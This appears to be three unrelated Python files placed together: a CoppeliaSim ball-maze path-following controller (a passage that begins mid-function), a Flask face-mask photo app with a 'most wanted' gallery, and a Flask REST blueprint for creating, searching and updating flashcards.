    global start_coord_1, end_coord_1, end_coord_4
    tmp = data[cl][0]
    del data[cl][0]
    if tmp == "T1_CB1":
        end_coord_4 = (5, 9)
        start_coord_1 = (5, 0)
        end_coord_1 = (0, 4)
    elif tmp == "T1_CB2":
        end_coord_4 = (5, 9)
        start_coord_1 = (5, 0)
        end_coord_1 = (4, 9)
    elif tmp == "T1_CB3":
        end_coord_4 = (5, 9)
        start_coord_1 = (5, 0)
        end_coord_1 = (9, 5)

    return tmp

def draw_setpoint(client_id, coords, table):
    coppelia_coord = []

    for element in coords:
        coppelia_coord.append(((10 * element) - 45) / 100)

    inputBuffer = bytearray()

    return_code, retInts, retFloats, retStrings, retBuffer = sim.simxCallScriptFunction(client_id,
                                                                                "top_plate_respondable_t" + str(table) + "_1",
                                                                                sim.sim_scripttype_customizationscript,
                                                                                "drawSetpoint", [],
                                                                                coppelia_coord, [],
                                                                                inputBuffer,
                                                                                sim.simx_opmode_blocking)

def send_data_to_draw_path(client_id, path, n):
    coppelia_sim_coord_path = []

    for coord in path:
        for element in coord:
            coppelia_sim_coord_path.append(((10 * element) - 45) / 100)

    inputBuffer = bytearray()

    return_code, retInts, retFloats, retStrings, retBuffer = sim.simxCallScriptFunction(client_id,
                                                                                "top_plate_respondable_t" + str(n) + "_1",
                                                                                sim.sim_scripttype_customizationscript,
                                                                                'drawPath', [],
                                                                                coppelia_sim_coord_path, [],
                                                                                inputBuffer,
                                                                                sim.simx_opmode_blocking)

    ##################################################
def convert_path_to_pixels(path):
    pixel_path = []
    for coord in path:
        pixel_path.append((coord[0] * 128 + 64, coord[1] * 128 + 64))

    return pixel_path

def convert_pixel_to_path(coord):
    coord = [(coord[0] - 64) / 128, (coord[1] - 64) / 128]

    return coord

def traverse_path(pixel_path, table):
    global gate

    turns = []
    prev_turn = pixel_path[0]
    n = len(pixel_path)
    signx, signy = 1, 1
    tmp = 30
    for i in range(1, len(pixel_path) - 1):
        signx = -1 * np.sign(pixel_path[i][0] - pixel_path[i - 1][0])
        signy = -1 * np.sign(pixel_path[i][1] - pixel_path[i - 1][1])
        if (pixel_path[i][0] == pixel_path[i - 1][0] and pixel_path[i][1] == pixel_path[i + 1][1]) or \
                (pixel_path[i][1] == pixel_path[i - 1][1] and pixel_path[i][0] == pixel_path[i + 1][0]):
            turns.append([pixel_path[i][1] + signy * tmp, pixel_path[i][0] + signx * tmp])
            prev_turn = pixel_path[i]
        elif abs(prev_turn[0] - pixel_path[i][0]) > 100 or abs(prev_turn[1] - pixel_path[i][1]) > 100:
            turns.append([pixel_path[i][1] + signy * tmp, pixel_path[i][0] + signx * tmp])
            prev_turn = pixel_path[i]

    for i in range(0, len(turns)):
        if turns[i][0] < 70:
            turns[i][0] = turns[i][0] + 30
        if turns[i][0] > 1200:
            turns[i][0] = turns[i][0] - 35
        if turns[i][1] < 70:
            turns[i][1] = turns[i][1] + 30
        if turns[i][1] > 1200:
            turns[i][1] = turns[i][1] - 35

    turns.append([pixel_path[n - 1][1] + signy * 25, pixel_path[n - 1][0] + signx * 25])
    t1, t2 = 0, 0

    print("\nTurns array generated!", len(turns))

    cnt = 0
    for i in range(0, len(turns)):
        cnt = 0
        task_3.change_setpoint(turns[i])
        gate = True
        #draw_setpoint(client_id, convert_pixel_to_path(turns[i]), table)

        flag = 0
        while True:
            vision_sensor_image, image_resolution, return_code = task_2a.get_vision_sensor_image(client_id,
                table)

            transformed_image = task_2a.transform_vision_sensor_image(vision_sensor_image, image_resolution)
            warped_img = task_1b.applyPerspectiveTransform_vs(transformed_image)

            if warped_img is None:
                continue

            shapes = task_1a_part1.scan_image(warped_img, True)

            print(shapes)
            print("Current setpoint: ", turns[i])
            print("\n")
            if len(shapes) == 0:
                continue

            center_x = shapes['Circle'][1]
            center_y = shapes['Circle'][2]
            return_code_signal, t1_string = sim.simxGetStringSignal(client_id, 'time', sim.simx_opmode_streaming)

            if return_code_signal == 0:
                t1 = float(t1_string)

            if turns[i][0] + 30 > center_x > turns[i][0] - 30 and turns[i][
                1] + 30 > center_y > turns[i][1] - 30:
                while turns[i][0] + 30 > center_x > turns[i][0] - 30 and turns[i][
                    1] + 30 > center_y > turns[i][1] - 30:

                    print("\nInside safe zone!\n")

                    return_code_signal, t2_string = sim.simxGetStringSignal(client_id, 'time', sim.simx_opmode_buffer)

                    if return_code_signal == 0:
                        t2 = float(t2_string)

                    vision_sensor_image, image_resolution, return_code = task_2a.get_vision_sensor_image(client_id,
                        table)
                    transformed_image = task_2a.transform_vision_sensor_image(vision_sensor_image, image_resolution)
                    warped_img = task_1b.applyPerspectiveTransform_vs(transformed_image)

                    if warped_img is None:
                        continue

                    shapes = task_1a_part1.scan_image(warped_img, True)
                    if len(shapes) == 0:
                        continue

                    center_x = shapes['Circle'][1]
                    center_y = shapes['Circle'][2]

                    if t2 - t1 > 0.3:
                        print("Hue hue hue")
                        flag = 1
                        break
                    else:
                        print("Calling control logic 1!")

                        if gate:
                            print("Waiting1")
                            time.sleep(0)
                            gate = False
                            previous_error_x = turns[i][1] - center_x
                            previous_error_y = turns[i][0] - center_y
                            task_3.control_logic(center_x, center_y, table, client_id, previous_error_x, previous_error_y)
                        else:
                            task_3.control_logic(center_x, center_y, table, client_id, 0, 0)
            else:
                print("Calling control logic 2!")

                if gate:
                    print("Waiting2")
                    time.sleep(0)
                    gate = False
                    previous_error_y = turns[i][0] - center_x
                    previous_error_x = turns[i][1] - center_y
                    task_3.control_logic(center_x, center_y, table, client_id, previous_error_x, previous_error_y)
                else:
                    task_3.control_logic(center_x, center_y, table, client_id, 0, 0)

            if flag == 1:
                break

            print(i)
            if len(turns) -1 == i and cnt == 20:
                break
            else:
                cnt = cnt +1

def main(rec_client_id):
    maze_t4 = cv2.imread('maze_t4.jpg')
    maze_t1 = cv2.imread('maze_t1.jpg')
    print("Maze images read!\n")

    warped_img_t4 = task_1b.applyPerspectiveTransform(maze_t4)
    warped_img_t1 = task_1b.applyPerspectiveTransform(maze_t1)
    maze_array_t4 = task_1b.detectMaze(warped_img_t4)
    maze_array_t1 = task_1b.detectMaze(warped_img_t1)
    print("Maze array detected: \nT4: ", maze_array_t4, "T1: ", maze_array_t1)

    return_code = task_2b.send_data(rec_client_id, maze_array_t4, "top_plate_respondable_t4_1")
    return_code = task_2b.send_data(rec_client_id, maze_array_t1, "top_plate_respondable_t1_1")
    print("\nMaze generated!\n")

    with open("ball_details.json") as f:
        data = json.load(f)
    print(data)

    return_code = task_2a.start_simulation(rec_client_id)
    print("Simulation started!\n")

    task_3.init_setup(rec_client_id)

    shapes = {}
    while shapes.get("Circle") is None:
        img_vs5, res, _ = task_2b.get_vision_sensor_image(rec_client_id, 5)
        img = task_2b.transform_vision_sensor_image(img_vs5, res)
        shapes = task_1a_part1.scan_image(img, False)

    cl = shapes["Circle"][0]
    print(cl)
    tmp = get_start_end_coord(data, cl)
    send_color_and_collection_box_identified(cl, tmp)
    print(start_coord_1, end_coord_1, end_coord_4, start_coord_4)

    # start coord and end coord from json ---- for t_4 start coord = (0, 4) end coord depends on cl end coord = (5, 9)
    # for t_4
    path_t4 = task_4a.find_path(maze_array_t4, start_coord_4, end_coord_4)
    send_data_to_draw_path(rec_client_id, path_t4, 4)

    path_t1 = task_4a.find_path(maze_array_t1, start_coord_1, end_coord_1)
    send_data_to_draw_path(rec_client_id, path_t1, 1)

    print("\nPath sent to CoppeliaSim\n")
    pixel_path_t4 = convert_path_to_pixels(path_t4)
    print("Entering traverse path\n")
    traverse_path(pixel_path_t4, 4)
    print("Ball traversed!")
    time.sleep(1) # why this addition
    # for t_1 ----- for t_1 start coord = (0, 5) end coord depend on cl end coord = (0, 4)
    print("Path sent to CoppeliaSim")
    pixel_path_t1 = convert_path_to_pixels(path_t1)
    print("Entering traverse path\n")
    traverse_path(pixel_path_t1, 1)
    print("Ball traversed!")

    return_code = task_2a.stop_simulation(rec_client_id)

    ##################################################

# Function Name:    main (built in)
#        Inputs:    None
#       Outputs:    None
#       Purpose:    To call the main(rec_client_id) function written by teams when they
#                    run task_5.py only.

# NOTE: Write your solution ONLY in the space provided in the above functions. This function should not be edited.
if __name__ == "__main__":
    client_id = task_2a.init_remote_api_server()
    main(client_id)


from flask import Flask, render_template, url_for, request, redirect
from filter import apply_mask

import cv2
import numpy as np
import base64
import random

from db import Client

app = Flask(__name__)

client = Client()

@app.route('/')
def index():
    # if request.method == 'POST':
    #     videoCapture()
    #     return redirect('/')
    # else:
    #     render_template('index.html')

    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['image']

    # Save file
    #filename = 'static/' + file.filename
    #file.save(filename)

    # Read image
    image = cv2.imdecode(np.frombuffer(file.read(), np.uint8), cv2.IMREAD_COLOR)
    # print(image.shape)

    # load mask
    mask = cv2.imread('assets/snapchat_dog.png')

    # initialize front face classifier
    cascade = cv2.CascadeClassifier("assets/haarcascade_frontalface_default.xml")

    # Get image shape
    image_h, image_w, _ = image.shape

    # Convert to black-and-white, and add contrast
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    blackwhite = cv2.equalizeHist(gray)

    # Detect faces
    rects = cascade.detectMultiScale(
        blackwhite, scaleFactor=1.3, minNeighbors=4, minSize=(30, 30),
        flags=cv2.CASCADE_SCALE_IMAGE)

    # Add all bounding boxes to the image
    for x, y, w, h in rects:
        # crop a frame slightly larger than the face
        y0, y1 = int(y - 0.20*h), int(y + 0.80*h)
        x0, x1 = x, x + w

        # give up if the cropped frame would be out-of-bounds
        if x0 < 0 or y0 < 0 or x1 > image_w or y1 > image_h:
            continue

        # apply mask
        image[y0: y1, x0: x1] = apply_mask(image[y0: y1, x0: x1], mask)

    # Save
    #cv2.imwrite(filename, image)

    # In memory
    image_content = cv2.imencode('.jpg', image)[1].tostring()
    encoded_image = base64.encodebytes(image_content)
    to_send = 'data:image/jpg;base64, ' + str(encoded_image, 'utf-8')

    if len(rects) == 0:
        face_detected = False
    else:
        if client.getSize() == 0:
            counter = 0
        else:
            counter = client.getHighestCount() + 1
        face_detected = True
        client.insertImage(counter, encoded_image)
        counter += 1

    return render_template('index.html', image_to_show=to_send, face_detected=face_detected, init_upload=True)

@app.route('/mostwanted')
def show_most_wanted():
    size = client.getSize()
    if (size == 0):
        has_data = False
        wanted_image = None

    else:
        has_data = True
        rand = random.randint(0, size - 1)
        image_str = client.retrieveImage(rand)

        encoded_image = base64.encodebytes(image_str)
        wanted_image = 'data:image/jpg;base64, ' + str(encoded_image, 'utf-8')

    return render_template('index.html', wanted_image=wanted_image, has_data=has_data, init_mostwanted=True)

if __name__ == '__main__':
    app.run(debug=True)


from datetime import datetime
from flask import Blueprint, request, jsonify, current_app
from ..models import Deck, Card, User
from ..extensions import db
from ..util.auth import token_required
from ..util import date

card_bp = Blueprint('card', __name__)

@card_bp.route('/api/decks/<int:deck_id>/cards', methods=['POST'])
@token_required
def create_card(jwt_data, deck_id):
    user = db.session.get(User, jwt_data['user_id'])

    if not user:
        return jsonify({'message': 'User not found'}), 404

    deck = db.session.get(Deck, deck_id)

    if not deck:
        return jsonify({'message': 'Deck not found'}), 404

    if deck.user_id != user.id:
        return jsonify({'message': 'You do not own this deck'}), 403

    data = request.json
    front = data.get('front')
    back = data.get('back')
    reverse = data.get('reverse') or False

    if not front or not back:
        return jsonify({'message': 'Please provide card front and back'}), 400

    card = Card(front=front, back=back, deck=deck)
    db.session.add(card)
    db.session.commit()
    data = [card.get_json()]

    if reverse:
        reverse_card = Card(front=back, back=front, deck=deck)
        db.session.add(reverse_card)
        db.session.commit()
        data.append(reverse_card.get_json())

    return jsonify({'message': 'Cards created successfully', 'data': data}), 201

@card_bp.route('/api/decks/<int:deck_id>/cards', methods=['GET'])
@token_required
def search_cards(jwt_data, deck_id):
    user = db.session.get(User, jwt_data['user_id'])

    if not user:
        return jsonify({'message': 'User not found'}), 404

    deck = db.session.get(Deck, deck_id)

    if not deck:
        return jsonify({'message': 'Deck not found'}), 404
    if not deck.shared and deck.user_id != user.id:
        return jsonify({'message': 'You do not own this deck'}), 403

    q = request.args.get('q')
    limit = request.args.get('limit')
    offset = request.args.get('offset')
    count = request.args.get('count') != None
    new = request.args.get('new') != None
    due = request.args.get('due')
    revised = request.args.get('revised')

    query = Card.query.filter(Card.deck_id == deck.id)

    if new:
        query = query.filter(Card.knowledge_level == 0)

    if due:
        try:
            due = date.normalize(datetime.fromisoformat(due))
        except:
            return jsonify({'message': 'Field "due" must be an isoformat date'}), 400

        query = query.filter(Card.revision_due <= due)

    if revised:
        try:
            revised = date.normalize(datetime.fromisoformat(revised)).date()
        except:
            return jsonify({'message': 'Field "revised" must be an isoformat date'}), 400

        query = query.filter(Card.last_revised == revised)

    if q is not None:
        query = query.filter(Card.front.ilike(f'%{q}%'))

    if limit is not None:
        try:
            limit = max(int(limit), 0)
        except:
            return jsonify({'message': 'Limit must be an integer'}), 400

        query = query.limit(limit)

        if offset is not None:
            try:
                offset = max(int(offset), 0)
            except:
                return jsonify({'message': 'Offset must be an integer'}), 400

            query = query.offset(offset)

    if count:
        return jsonify({'data': query.count()}), 200

    cards = query.all()

    card_list = [card.get_json() for card in cards]
    return jsonify({'data': card_list}), 200

@card_bp.route('/api/cards/<int:card_id>', methods=['GET'])
@token_required
def get_card(jwt_data, card_id):
    user = db.session.get(User, jwt_data['user_id'])

    if not user:
        return jsonify({'message': 'User not found'}), 404

    card = db.session.get(Card, card_id)

    if not card:
        return jsonify({'message': 'Card not found'}), 404

    if not card.deck.shared and card.deck.user_id != user.id:
        return jsonify({'message': 'You do not have the deck to which this card pertains'}), 403

    return jsonify({'data': card.get_json()}), 200

@card_bp.route('/api/cards/<int:card_id>', methods=['PUT'])
@token_required
def update_card(jwt_data, card_id):
    user = db.session.get(User, jwt_data['user_id'])

    if not user:
        return jsonify({'message': 'User not found'}), 404

    card = db.session.get(Card, card_id)

    if not card:
        return jsonify({'message': 'Card not found'}), 404

    if card.deck.user_id != user.id:
        return jsonify({'message': 'You do not have permission to update this card'}), 403

    data = request.json
    front = data.get('front', card.front)
    back = data.get('back', card.back)
    knowledge_level = data.get('knowledge_level', card.knowledge_level)
    last_revised = data.get('last_revised', card.last_revised)
    revision_due = data.get('revision_due', card.revision_due)

    if last_revised != None:
        try:
            card.last_revised = date.normalize(
                datetime.fromisoformat(last_revised))
        except:
            return jsonify({'message': 'Field "last_revised" must be an isoformat date'}), 400

    if revision_due != None:
        try:
            card.revision_due = date.normalize(
                datetime.fromisoformat(revision_due))
        except:
            return jsonify({'message': 'Field "revision_due" must be an isoformat date'}), 400

    if knowledge_level != None:
        try:
            card.knowledge_level = min(max(int(knowledge_level), 0), 4)
        except:
            return jsonify({'message': 'Field "knowledge_level" must be an integer'}), 400

    card.front = front
    card.back = back

    db.session.commit()

    return jsonify({'message': 'Card updated successfully', 'data': card.get_json()}), 200

@card_bp.route('/api/cards', methods=['PUT'])
@token_required
def update_cards(jwt_data):
    user = db.session.get(User, jwt_data['user_id'])

    if not user:
        return jsonify({'message': 'User not found'}), 404

    data = request.json

    if not isinstance(data, list):
        return jsonify({'message': 'Expected a list as body'}), 400

    for new_card in data:
        id = new_card.get('id')

        if not id:
            return jsonify({'message': 'Missing id field'}), 400

        card = db.session.get(Card, id)

        if not card:
            return jsonify({'message': 'Card with id {} not found'.format(id)}), 404

        if card.deck.user_id != user.id:
            return jsonify({'message': 'You do not have permission to update card with id {}'.format(id)}), 403

        front = new_card.get('front', card.front)
        back = new_card.get('back', card.back)
        knowledge_level = new_card.get('knowledge_level', card.knowledge_level)
        last_revised = new_card.get('last_revised', card.last_revised)
        revision_due = new_card.get('revision_due', card.revision_due)

        if last_revised != None:
            try:
                card.last_revised = date.normalize(
                    datetime.fromisoformat(last_revised))
            except:
                return jsonify({'message': 'Field "last_revised" must be an isoformat date'}), 400

        if revision_due != None:
            try:
                card.revision_due = date.normalize(
                    datetime.fromisoformat(revision_due))
            except:
                return jsonify({'message': 'Field "revision_due" must be an isoformat date'}), 400

        if knowledge_level != None:
            try:
                card.knowledge_level = int(knowledge_level)
            except:
                return jsonify({'message': 'Field "knowledge_level" must be an integer'}), 400

        card.front = front
        card.back = back

    db.session.commit()

    return jsonify({'message': 'Cards updated successfully'}), 200

@card_bp.route('/api/cards/<int:card_id>', methods=['DELETE'])
@token_required
def delete_card(jwt_data, card_id):
    user = db.session.get(User, jwt_data['user_id'])

    if not user:
        return jsonify({'message': 'User not found'}), 404

    card = db.session.get(Card, card_id)

    if not card:
        return jsonify({'message': 'Card not found'}), 404

    if card.deck.user_id != user.id:
        return jsonify({'message': 'You do not have permission to delete this card'}), 403

    db.session.delete(card)
    db.session.commit()

    return jsonify({'message': 'Card deleted successfully', 'data': card.get_json()}), 200